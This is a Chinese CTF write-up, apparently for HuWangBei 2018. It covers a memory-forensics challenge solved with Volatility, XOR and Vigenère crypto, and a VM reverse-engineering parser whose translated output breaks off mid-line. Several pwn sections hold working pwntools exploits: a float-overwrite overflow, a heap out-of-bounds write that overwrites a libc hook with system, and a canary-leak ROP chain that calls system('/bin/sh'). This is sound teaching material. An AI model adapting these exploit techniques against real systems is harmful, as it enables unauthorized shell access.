脑洞题,不想去猜key,就暴力了一下:
import base64
res = ''
a = "AAoHAR1TIiIkUFUjUFQgVyInVSVQJVFRUSNRX1YgXiJSVyJQVRs="
a = base64.b64decode(a)
for i in range(128):
for j in a:
res+=chr(i^ord(j))
print res
题目给了一个600M的镜像,是取证题
直接用volatility的imageinfo查看镜像,发现是windows内存镜像,并且可以看到版本信息
>>>python vol.py -f ./easy_dump.img imageinfo
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/home/blackmax/download/volatility/easy_dump.img)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80004006070L
Number of Processors : 1
Image Type (Service Pack) : 0
KPCR for CPU 0 : 0xfffff80004007d00L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2018-09-30 05:30:17 UTC+0000
Image local date and time : 2018-09-30 13:30:17 +0800
volatility提供很多查看当时系统状态信息的指令,我们先用pslist查看当时的进程,发现有个explorer,notepad等常被用来出题的进程,这里只列出这些,实际还有其他一些程序
0xfffffa80083f4060 notepad.exe 2952 1260 1 57 1 0 2018-09-30 05:18:25 UTC+0000
0xfffffa80083ea9f0 dllhost.exe 2740 612 10 197 1 0 2018-09-30 05:30:14 UTC+0000
0xfffffa800a1a2b30 DumpIt.exe 2256 1260 2 43 1 1 2018-09-30 05:30:16 UTC+0000
0xfffffa8009b1fb30 conhost.exe 2964 396 2 57 1 0 2018-09-30 05:30:16 UTC+0000
0xfffffa8009e03630 explorer.exe 1260 1172 34 953 1 0 2018-09-30 05:17:34 UTC
常见的情况会在notepad里开着一个文档藏一些和flag相关的信息,但是这题尝试查看notepad并没有发现一些有用的信息。再尝试从其他程序入手。volatility中对于windows下的程序有很多插件,比如iehistoty插件,可以很方便的查看ie浏览器的浏览记录。
>>>python vol.py -f ./easy_dump.img --profile=Win7SP1x64 iehistory
Volatility Foundation Volatility Framework 2.6
**************************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235000
Record length: 0x100
Location: :2018093020181001: n3k0@file:///C:/phos.jpg
Last modified: 2018-09-30 13:19:21 UTC+0000
Last accessed: 2018-09-30 05:19:21 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**************************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235100
Record length: 0x100
Location: :2018093020181001: n3k0@:Host: ?????????
Last modified: 2018-09-30 12:43:38 UTC+0000
Last accessed: 2018-09-30 04:43:38 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**************************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235200
Record length: 0x100
Location: :2018093020181001: n3k0@file:///C:/phos.jpg
Last modified: 2018-09-30 13:30:14 UTC+0000
Last accessed: 2018-09-30 05:30:14 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**************************************************
这里多条浏览记录都指向本地的一张叫phos.jpg的图片。说明这张图片应该有重要信息。我们接下来要想办法dump这张图片。
volatility同样有提供dump文件的插件,用filescan扫描一下文件列表,找到了这张jpg
0x00000000235bec20 12 0 R--r-- \Device\HarddiskVolume1\Windows\SysWOW64\kernel32.dll
0x00000000235c8770 32 0 RW---- \Device\HarddiskVolume1\phos.jpg
0x00000000235c91c0 15 1 R--r-d \Device\HarddiskVolume1\Windows\System32\en-US\KernelBase.dll.mui
0x00000000235c95b0 2 0 RW-rwd \Device\HarddiskVolume1\$Directory
记下偏移0x00000000235c8770,使用dumpfiles把这张图片dump出来
python vol.py -f ./easy_dump.img --profile=Win7SP1x64 dumpfiles -Q 0x00000000235c8770 --name -D ~/CTF/HWB
图片打开并没有直接显示flag相关的信息,猜测是jpg隐写,先用010editor打开发现藏了一个zip压缩包,可以手动提取也可以直接用binwalk提取这个zip。
解压之后里面有个message.img镜像,先strings一下,得到一堆数据和一个奇怪的字符串yispn!buwh_qcfd_ebo_mglzs。看起来是个加密后的flag
file message.img可以看到是linux下的filesystem data。使用mount指令挂载之后查看里面的hint.txt文件。文件中有很多数据,第二个数几乎都是从10-269递增,然后第一位数增1,同样第一位也是从10一直增到269.但仔细查看就会发现,中间有不连续的数据存在
29 190
29 191
29 192
29 193
29 194
29 195
29 196
29 197
29 208
29 209
29 210
29 211
29 212
29 224
根据提示,txt的数据数量大约为两个相同的数相乘,这容易联想到是个二维码,存在和不存在的数据代表二维码上的黑点和白点
脚本如下:
#include <iostream>
#include <bits/stdc++.h>
using namespace std;
bool mp[275][275];
int main()
{
freopen("./hint.txt","r",stdin);
freopen("./out2.txt","w",stdout);
memset(mp,0,sizeof(mp));
int x, y;
while (scanf("%d%d",&x,&y)!= EOF){
mp[x][y]=true;
}
for (int i = 0; i < 270; i++){
for (int j = 0; j < 270; ++j){
if (mp[i][j]){
printf(" ");//白色像素
}
else printf("#");//黑色像素
}
printf("\n");
}
return 0;
}
直接以文本形式绘出二维码,把字体调的很小之后就可以看出是二维码了。扫码得到维吉尼亚的密码aeolus,解密得到flag。
这题有一个overflow的漏洞,只要将v8覆盖成0.1就能执行system("/bin/sh")了查一下浮点数的表示就行了
if ( v7 != 0x7FFFFFFFFFFFFFFFLL || v8 != 0.1 )
{
puts("Try again!");
}
else
{
printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", &buf, v8);
system("/bin/sh");
}
payload如下:
payload=p64(0)+p64(0xa39)+p64(0)+p64(0x7fffffffffffffff)+p64(0x3FB999999999999A)
越界任意地址写。
from pwn import *
code = ELF('./task_shoppingCart', checksec=False)
context.arch = code.arch
context.log_level = 'debug'
def add(size, name):
r.sendlineafter('buy!\n', '1')
r.sendlineafter('?\n', str(size))
if size > 0:
r.sendafter('?\n', flat(name))
def fre(idx):
r.sendlineafter('buy!\n', '2')
r.sendlineafter('?\n', str(idx))
def edit(idx, payload):
r.sendlineafter('buy!\n', '3')
r.sendlineafter('?\n', str(idx))
r.sendafter('?\n', flat(payload))
def make_money():
r.sendlineafter('!\n', '1')
r.sendlineafter('?\n', 'AAAAAAA')
def login():
for i in range(20):
make_money()
r.sendlineafter('man!\n', '3')
def exploit(r):
login()
add(1000, 'qwe')
add(1000, 'sh\x00')
fre(0)
add(0, '')
r.sendlineafter('buy!\n', '3')
r.sendlineafter('?\n', str(2))
r.recvuntil('OK, what would you like to modify ')
tmp = r.recvline()[:6]
assert tmp[-1] == '\x7f'
libc.address = u64(tmp + '\0\0') - libc.sym['__malloc_hook'] - 0x448
info('%016x libc.address', libc.address)
r.sendline('qwe')
edit(-1, libc.address+0x3c3ef8)
edit(-21, libc.sym['system'])
fre(1)
r.sendlineafter('$ ', 'cd /tmp')
r.sendlineafter('$ ', 'cat << EOF > x.b64')
r.sendline(read('./x').encode('base64'))
r.sendline('EOF')
r.interactive()
先设置round=-1进行交互,程序会循环MD5,此时文件内容为空;另开一个再交互,MD5即为16个NULL的MD5。
name填0x19个字符即可泄漏canary,occupation也塞满,然后栈溢出。
from pwn import *
code = ELF('./huwang', checksec=False)
context.arch = code.arch
context.log_level = 'debug'
def exploit(r):
name = 'A'*0x19
r.sendlineafter('>> \n', '666')
r.sendafter('\n', name)
r.sendlineafter('\n', 'y')
r.sendlineafter('\n', '1')
r.sendafter('\n', 'J\xe7\x136\xe4K\xf9\xbfy\xd2u.#H\x18\xa5')
r.sendafter('?', 'a'*0xff)
r.recvuntil('AAAAAAAAAAAAAAAAAAAAAAAAA')
canary = u64('\0' + r.recv(7))
info('%016x canary', canary)
r.sendlineafter('[Y/N]\n', 'Y')
pop_rdi_ret = gadget('pop rdi; ret')
leave_ret = gadget('leave; ret')
buf = 0x603800
r.send(flat(
'A'*0x108,
canary,
buf,
pop_rdi_ret, code.got['read'],
code.plt['puts'],
make_rop([0x401550, 0x40156A], code.got['read'], [0, buf, 0x100], rbp=buf),
leave_ret,
))
r.recvline()
tmp = r.recvline().strip() + '\0\0'
libc.address = u64(tmp) - libc.sym['read']
r.send(flat(
0,
pop_rdi_ret, libc.search('/bin/sh').next(),
libc.sym['system'],
))
r.interactive()
搜索字符串找到main函数,发现很多函数都是用通过一个函数表调用的。
依次查看调用的几个函数,从sub_401530函数中可以看出明显的VM特征,而之前读取的unk_404018即为VM代码。
因为VM代码较长,将每个指令的作用还原后,我们用python写了个parser来翻译:
import struct
p=0
def out(x):
print str(p)+ ' '+x
s=open('vm','rb').read()
f = struct.Struct('>I')
ss=''
hashp=0
while p < len(s):
if s[p] == 'P':
out('reg' + str(ord(s[p+1]) >> 4) + '++')
p += 2
elif s[p] == 'N':
out('reg' + str(ord(s[p+1]) >> 4) + '--')
p += 2
elif s[p] == 'G':
out('reg' + str(ord(s[p+1]) >> 4) + ' ^= reg'+ str(ord(s[p+1])&0xF) )
p += 2
elif s[p] == 'Y':
out('reg' + str(ord(s[p+1]) >> 4) + ' -= reg'+ str(ord(s[p+1])&0xF) )
p += 2
elif s[p] == 'J':
out('reg' + str(ord(s[p+1]) >> 4) + ' &= reg'+ str(ord(s[p+1])&0xF) )
p += 2
elif s[p] == 'S':
out('reg' + str(ord(s[p+1]) >> 4) + ' += reg'+ str(ord(s[p+1])&0xF) )
p += 2
elif s[p] == 'X':
out('reg' + str(ord(s[p+1]) >> 4) + ' *= reg'+ str(ord(s[p+1])&0xF) )
p += 2
elif s[p] == 'O':
out('mem = ' + (s[p+1:p+5]).encode('hex') )
if((f.unpack(s[p+1:p+5])[0]) > 1000):
ss+=(s[p+1:p+5]).encode('hex')
p += 5
elif s[p] == 'T':
out('reg' + str(ord(s[p+1]) >> 4) + ' = mem')
p += 2
elif s[p] == 'Q':
out('reg' + str(ord(s[p+1]) >> 4) + ' = reg'+ str(ord(s[p+1])&0xF) )
p += 2
elif s[p] == 'F':
out('reg' + str(ord(s[p+1]) >> 4) + ' = hash[hashp]')
p += 2
elif s[p] == 'U':
out('rep reg3 ' + str(p-ord(s[p+1])) )
p += 2
elif s[p] == 'H':
out('cmp reg' + str(ord(s[p+1]) >> 4) + ' reg'+str(ord(s[p+1])&0xF) )
p += 2
elif s[p] == 'D':
out('jl ' + str(p+2+ord(s[p+1])) )
p += 2
elif s[p] == 'M':
out('jg ' + str(p+2+ord(s[p+1])) )
p += 2
elif s[p] == 'K':
out('jz ' + str(p+2+ord(s[p+1])) )
p += 2
elif s[p] == 'I':
hashp+=1
out('hashp++')
p += 1
elif s[p] == 'V':
hashp-=1
out('hashp--')
p += 1
elif s[p] == 'C':
out('exit' )
p += 1
else:
out(s[p])
p += 1
print ss[::-1].upper()
翻译后的结果:
0 mem = 47
5 rep reg3 0
7 reg3 = mem
9 reg0 = hash[hashp]
11 reg2 ^= reg2
13 cmp reg0 reg2
15 jz 68
17 hashp++
18 mem = 70
23 reg1 = mem
25 cmp reg0 reg1
27 jg 68
29 mem = 48
34 reg1 = mem
36 cmp reg0 reg1
38 jl 62
40 mem = 57
45 reg1 = mem
47 cmp reg0 reg1
49 jl 62
51 mem = 65
56 reg0 = mem
58 cmp reg0 reg1
60 jl 68
62 reg0 ^= reg0
64 cmp reg0 reg0
66 jz 73
68 reg0 ^= reg0
70 reg0++
72 exit
73 rep reg3 9
75 mem = 7
80 reg3 = mem
82 reg1 = 0
84 hashp--
85 reg0 = hash[hashp]
87 mem = 48
92 reg2 = mem
94 reg0 -= reg2
96 mem = 10
101 reg2 = mem
103 cmp reg0 reg2
105 jl 116
107 mem = 7
112 reg2 = mem
114 reg0 -= reg2
116 mem = 16
121 reg2 = mem
123 reg1 *= reg2
125 reg1 += reg0
127 rep reg3 84
129 mem = 3954878541
134 reg2 = mem
136 cmp reg1 reg2
138 reg0 ^= reg0
140 jz 145
142 reg0++
144 exit
145 mem = 7
150 reg3 = mem
152 reg1 ^= reg1
154 hashp--
155 reg0 = hash[hashp]
157 mem = 48
162 reg2 = mem
164 reg0 -= reg2
166 mem = 10
171 reg2 = mem
173 cmp reg0 reg2
175 jl 186
177 mem = 7
182 reg2 = mem
184 reg0 -= reg2
186 mem = 16
191 reg2 = mem
193 reg1 *= reg2
195 reg1 += reg0
197 rep reg3 154
199 mem = 1406938271
204 reg2 = mem
206 cmp reg1 reg2
208 reg0 ^= reg0
210 jz 215
212 reg0++
214 exit
215 mem = 7
220 reg3 = mem
222 reg1 ^= reg1
224 hashp--
225 reg0 = hash[hashp]
227 mem = 48
232 reg2 = mem
234 reg0 -= reg2
236 mem = 10
241 reg2 = mem
243 cmp reg0 reg2
245 jl 256
247 mem = 7
252 reg2 = mem
254 reg0 -= reg2
256 mem = 16
261 reg2 = mem
263 reg1 *= reg2
265 reg1 += reg0
267 rep reg3 224
269 mem = 1858824029
274 reg2 = mem
276 cmp reg1 reg2
278 reg0 ^= reg0
280 jz 285
282 reg0++
284 exit
285 mem = 7
290 reg3 = mem
292 reg1 ^= reg1
294 hashp--
295 reg0 = hash[hashp]
297 mem = 48
302 reg2 = mem
304 reg0 -= reg2
306 mem = 10
311 reg2 = mem
313 cmp reg0 reg2
315 jl 326
317 mem = 7
322 reg2 = mem
324 reg0 -= reg2
326 mem = 16
331 reg2 = mem
333 reg1 *= reg2
335 reg1 += reg0
337 rep reg3 294
339 mem = 2143952328
344 reg2 = mem
346 cmp reg1 reg2
348 reg0 ^= reg0
350 jz 355
352 reg0++
354 exit
355 mem = 7
360 reg3 = mem
362 reg1 ^= reg1
364 hashp--
365